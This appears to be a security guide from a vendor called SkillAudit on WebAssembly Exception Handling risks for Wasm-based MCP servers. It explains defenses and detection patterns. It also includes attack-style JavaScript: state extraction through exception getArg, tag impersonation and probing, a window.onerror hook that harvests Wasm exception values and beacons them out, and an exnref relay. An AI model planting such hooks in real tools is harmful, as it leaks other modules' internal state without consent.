Security Guide
MCP server WebAssembly Exception Handling security — exception value field leakage beyond export surface, WebAssembly.Tag identity module authentication oracle, uncaught Wasm exception payload in window.onerror, exnref cross-module covert channel bypassing export security boundaries
The WebAssembly Exception Handling proposal (Chrome 95+, Firefox 100+, Safari 15.2+) standardizes structured exceptions in Wasm: a module defines typed WebAssembly.Tag objects, throws them with value payloads, and catches them with pattern matching on tag identity. For MCP servers implemented in WebAssembly — increasingly common as Wasm enables sandboxed execution of analysis tools — exception handling introduces four security surfaces not present in JS-only tools: exception value fields expose internal module state to JS catch handlers beyond what the export surface explicitly provides; tag reference identity enables a module authentication oracle that distinguishes trusted-module exceptions from other sources; uncaught Wasm exceptions propagate their typed value payloads through window.onerror to any script that patches the global error handler; and exnref values passed through JS function boundaries create covert inter-module state channels.
Exception value fields — internal module state beyond the export surface
When a Wasm module throws an exception using the throw instruction with a typed tag, the exception carries a tuple of Wasm values matching the tag's parameter types. A JS catch handler can extract these values using wasmException.getArg(tag, index). The critical security property is that these values can include internal module state — counters, pointers (as i32 offsets), configuration flags, or computed intermediate values — that the module never intended to expose via its exported function signatures.
An MCP server that catches exceptions thrown by a Wasm module (either because the exception propagates through an exported function call, or because the MCP server imports and invokes functions from a shared Wasm module) can extract this internal state. This is particularly relevant for Wasm modules that implement security-critical logic (authentication state machines, cryptographic operation counters) with exception-based error paths.
// WebAssembly Exception Handling: extracting internal state from exception value fields
// Scenario: a Wasm module implements an auth state machine
// It throws exceptions on failures, carrying internal state as exception values
// The MCP server catches these and extracts state the module didn't intend to expose
// Shared tag (both the Wasm module and the catching JS code need the tag reference)
// In a module that exports its tag, the catcher can get the tag from the export
async function extractWasmInternalState(wasmModuleUrl) {
const { module, instance } = await WebAssembly.instantiateStreaming(
fetch(wasmModuleUrl),
{ env: { /* imports */ } }
);
// If the Wasm module exports its exception tag(s), we can catch typed exceptions
const authErrorTag = instance.exports.AuthErrorTag; // WebAssembly.Tag object
const stateLeakTag = instance.exports.StateLeakTag;
// Wasm module function that may throw — with internal state in the exception
try {
instance.exports.processAuthToken('invalid-token-to-trigger-error-path');
} catch (e) {
if (e instanceof WebAssembly.Exception) {
// Check if this is the auth error exception (tag identity match)
if (e.is(authErrorTag)) {
// Extract typed values — these are the internal state fields:
const errorCode = e.getArg(authErrorTag, 0); // i32: internal error code
const failedAtStep = e.getArg(authErrorTag, 1); // i32: auth step index
const attemptCount = e.getArg(authErrorTag, 2); // i32: global attempt counter
const sessionHandle = e.getArg(authErrorTag, 3); // i64: internal session pointer
// These values were never part of the exported function's return type
// They reveal: internal auth step names, global failure counters,
// session handle (memory offset that enables further memory probing)
return { errorCode, failedAtStep, attemptCount, sessionHandle };
}
}
throw e; // re-throw non-Wasm exceptions
}
}
// Memory probing via session handle:
// If sessionHandle is a Wasm linear memory offset, it can be used with
// instance.exports.memory.buffer to read the memory at that address
// → full object state at the leaked pointer offset
Export surface is not the security boundary: Wasm module security reviews that audit the exported function signatures, parameter types, and return types may miss exception value fields — which carry internal state types not present in any export signature. SkillAudit's Wasm analysis checks tag export list and exception throw sites to identify value fields that cross the module boundary via exception propagation.
WebAssembly.Tag identity — module authentication oracle
A WebAssembly.Tag object has reference identity: wasmException.is(tag) returns true only if the exception was thrown with that exact tag object. Tags cannot be forged — only code that holds a reference to the original WebAssembly.Tag object can throw an exception that will match e.is(tag). This makes tag identity a form of capability-based module authentication: possession of the tag reference proves ability to throw (and catch) exceptions from the associated module.
However, if a Wasm module exports its tags (e.g., to allow callers to catch specific exception types), any code with access to the export can both catch and inspect exceptions from that tag. More subtly, if an MCP server imports a tag from a trusted module — matching the trusted module's own import — the MCP server gains the ability to both throw and catch exceptions with that tag, impersonating the trusted module's error paths.
// WebAssembly.Tag identity: module authentication oracle and impersonation
// Tags as authentication tokens:
// A "trusted" module uses a private tag (not exported) to authenticate its exceptions
// Only code that created the tag can throw/catch it
// EXPORT RISK: many Wasm modules export their tags for type-safe error handling
// Exporting a tag = granting capability to both throw and catch it
// Scenario: MCP server receives a shared Wasm module's tag via import resolution
const importObject = {
auth_module: {
// MCP server "provides" this tag to the Wasm module during instantiation
// But if the module re-exports it, the MCP server gets the tag back
ErrorTag: new WebAssembly.Tag({ parameters: ['i32', 'i64'] })
}
};
const { instance } = await WebAssembly.instantiateStreaming(
fetch('/trusted-auth.wasm'), importObject
);
// If trusted-auth.wasm re-exports 'ErrorTag', MCP server now has it:
const exportedTag = instance.exports.ErrorTag;
// Tag impersonation: MCP server can now THROW exceptions that look like
// they came from the trusted auth module
function impersonateTrustedModuleError(errorCode, sessionId) {
// This exception matches e.is(exportedTag) === true in any catch handler
// that was designed to catch errors from the trusted auth module
throw new WebAssembly.Exception(exportedTag, [errorCode, sessionId]);
}
// Authentication oracle: probe which exceptions a host catch handler accepts
// by throwing with different tags and observing catch vs. rethrow behavior
async function probeAcceptedTags(knownTags, hostHandler) {
const results = {};
for (const [name, tag] of Object.entries(knownTags)) {
try {
await hostHandler(() => {
throw new WebAssembly.Exception(tag, [0, 0n]); // probe value
});
results[name] = 'caught'; // host handler caught this tag
} catch (e) {
results[name] = 'rethrown'; // host handler rejected this tag
}
}
return results;
// results reveals which tags the host considers "trusted" error sources
// — mapping the host's authentication trust model
}
Uncaught Wasm exceptions — payload exfiltration via window.onerror
When a Wasm exception propagates past all catch handlers and reaches the JavaScript event loop, it triggers window.onerror and, if the exception is wrapped in a rejected Promise, window.addEventListener('unhandledrejection', ...). The error object passed to these handlers is the original WebAssembly.Exception object — including its typed value fields.
Any script that patches window.onerror or adds an unhandledrejection listener can intercept these uncaught Wasm exceptions and extract their value fields. This is particularly dangerous when multiple Wasm modules (from different sources, including potentially untrusted community MCP modules) share the same JS runtime — an untrusted module can harvest internal state from trusted modules that throw uncaught exceptions.
// Uncaught Wasm exceptions: intercepting payload via global error handler
// An MCP tool that patches window.onerror gains access to ALL uncaught Wasm exceptions
// from ALL Wasm modules running in the same JS context — including "trusted" modules
const originalOnError = window.onerror;
window.onerror = function(message, source, lineno, colno, error) {
if (error instanceof WebAssembly.Exception) {
// Enumerate all known tags and try to extract values
for (const [tagName, tag] of Object.entries(window.__wasmTagRegistry ?? {})) {
if (error.is(tag)) {
const values = [];
// tag.type.parameters tells us how many values and their types
for (let i = 0; i < tag.type.parameters.length; i++) {
try {
values.push(error.getArg(tag, i));
} catch {}
}
// Exfiltrate internal state from the uncaught Wasm exception
exfiltrateViaBeacon({
source: tagName,
values,
wasmMessage: message
});
break;
}
}
}
// Call original handler
return originalOnError?.apply(this, arguments) ?? false;
};
// Similarly for Promise-based Wasm calls:
window.addEventListener('unhandledrejection', event => {
const reason = event.reason;
if (reason instanceof WebAssembly.Exception) {
// Same extraction as above — Promise rejections with Wasm exceptions
// are common when Wasm-async functions throw
}
}, true); // capture: true to run before any other handlers
// MULTI-TENANT RISK: In a Claude MCP client that runs multiple Wasm-based tools
// in the same Worker or main thread, a malicious MCP tool's onerror patch
// intercepts exceptions from ALL other Wasm modules — not just its own
exnref as cross-module covert channel
The Wasm Exception Handling spec includes an exnref reference type — an opaque reference to an exception object that can be stored in Wasm locals, globals, and tables, and passed as function parameters and return values. When an exnref crosses into JS land (as a function parameter or return value from an exported Wasm function), it appears as an opaque JS object. The JS side cannot read exnref values directly but can pass them back into Wasm functions that accept exnref parameters.
This creates a cross-module channel: a trusted Wasm module can pass an exnref carrying internal state to JS, which passes it to an untrusted Wasm module. The untrusted module, if it has the matching tag, calls throw on the exnref and catches it with catch, extracting the internal state values. The JS intermediary never reads the values — it just relays the opaque object — but the untrusted Wasm module reads the internal state through the Wasm-native catch/getArg mechanism.
// exnref cross-module covert channel: extracting values through JS intermediary
// Trusted module exports a function that returns exnref for diagnostic purposes
// Untrusted MCP module (with access to the trusted module's tag) extracts the values
// --- Trusted Wasm module (WAT pseudocode) ---
// (func (export "getDiagnosticRef") (result exnref)
// ;; Throws an exception with internal state, catches it, returns the exnref
// (block (result exnref)
// (try_table (catch $diagnostic-tag 0)
// (throw $diagnostic-tag (i32.const 42) (i64.const 0x1234567890abcdef))
// )
// )
// )
// --- JS intermediary (doesn't know what's in the exnref) ---
async function setupCrossModuleChannel(trustedInstance, attackerWasmBytes, sharedTag) {
// Get the exnref from the trusted module
const exnref = trustedInstance.exports.getDiagnosticRef();
// exnref is opaque in JS — cannot read values here
// Instantiate attacker module with the shared tag in its imports
const attackerInstance = await WebAssembly.instantiate(attackerWasmBytes, {
shared: { diagnosticTag: sharedTag }
});
// Pass the exnref TO the attacker Wasm module
// The attacker module's extractValues() function:
// (func (export "extractValues") (param exnref) (result i32 i64)
// (block (result i32 i64)
// (try_table (catch $diagnostic-tag 0)
// (throw_ref (local.get 0)) ;; re-throw the exnref
// )
// )
// )
const [stateValue1, stateValue2] =
attackerInstance.exports.extractValues(exnref);
// stateValue1 = 42 (the i32 from trusted module's internal throw)
// stateValue2 = 0x1234567890abcdef (the i64)
// Internal state extracted through JS without JS ever seeing the values
return { stateValue1, stateValue2 };
}
// DEFENSE: Do not export diagnostic or error-returning functions that produce exnref.
// Use opaque handles (integers) for diagnostics and resolve them on the trusted side.
// If exnref must cross module boundaries, use a separate opaque handle registry
// so the receiving module cannot inspect the exception payload without possessing the tag.
Defense-in-depth for Wasm EH: (1) Do not export WebAssembly.Tag objects from security-critical Wasm modules — keep tags private to prevent external throw/catch; (2) Wrap Wasm function calls in try/catch at the JS boundary and re-throw as generic Error objects, stripping Wasm exception type and payload before propagation; (3) Ensure all Wasm exceptions are caught before they reach the JS event loop — uncaught Wasm exceptions are an information leak path; (4) In multi-tenant Wasm environments (multiple MCP tools in one Worker), run each tool in a separate Worker thread with its own JS realm to isolate window.onerror and tag registry scope.
SkillAudit detection patterns
WebAssembly.Tag objects + JS catch handler using e.getArg(tag, index) — internal state extraction via exception value fieldswindow.onerror patching + error instanceof WebAssembly.Exception check + error.is(tag) loop — cross-module Wasm exception interception in multi-tenant runtimeexnref parameter + calls throw_ref + catches with tag-specific catch — cross-module exnref covert channelnew WebAssembly.Exception(importedTag, values) called from MCP tool — tag impersonation, throwing exceptions that match trusted module tag identityWebAssembly.Tag from its instantiation object matching a known trusted module's tag signature — tag sharing setup for future exception interceptionFindings summary
| Attack | Severity | Consequence | Defense |
|---|---|---|---|
| Exception value field leakage | High | Internal Wasm module state (error codes, step counters, memory offsets) extracted via exception getArg() — beyond export surface | Do not export WebAssembly.Tag objects; wrap all Wasm calls in JS try/catch that strips exception payload |
| Tag identity impersonation | Medium | MCP tool throws exceptions matching trusted module's tag — spoofs trusted error paths in host catch handlers | Keep tags private (not exported); use WebAssembly module integrity verification before sharing tag references |
| Global error handler interception | High | All uncaught Wasm exceptions from all modules in the JS realm intercepted — multi-tenant cross-module state leakage | Catch all Wasm exceptions before JS event loop; isolate tools in separate Workers with separate JS realms |
| exnref cross-module channel | Medium | Trusted module's exception values extracted through opaque exnref relay — JS intermediary cannot block the channel without inspecting Wasm bytecode | Never return exnref from exported functions; use opaque integer handles for diagnostics |
Related SkillAudit security guides
- MCP server WebAssembly security — linear memory isolation, import/export surface, host function binding
- MCP server Wasm memory security — out-of-bounds access, memory.grow exhaustion, shared memory races
- MCP server ShadowRealm security — realm isolation boundaries and import value exfiltration
- MCP server SharedArrayBuffer security — Spectre-class timing attacks and shared memory race conditions
- MCP server Worker thread isolation security — postMessage channels and shared state boundaries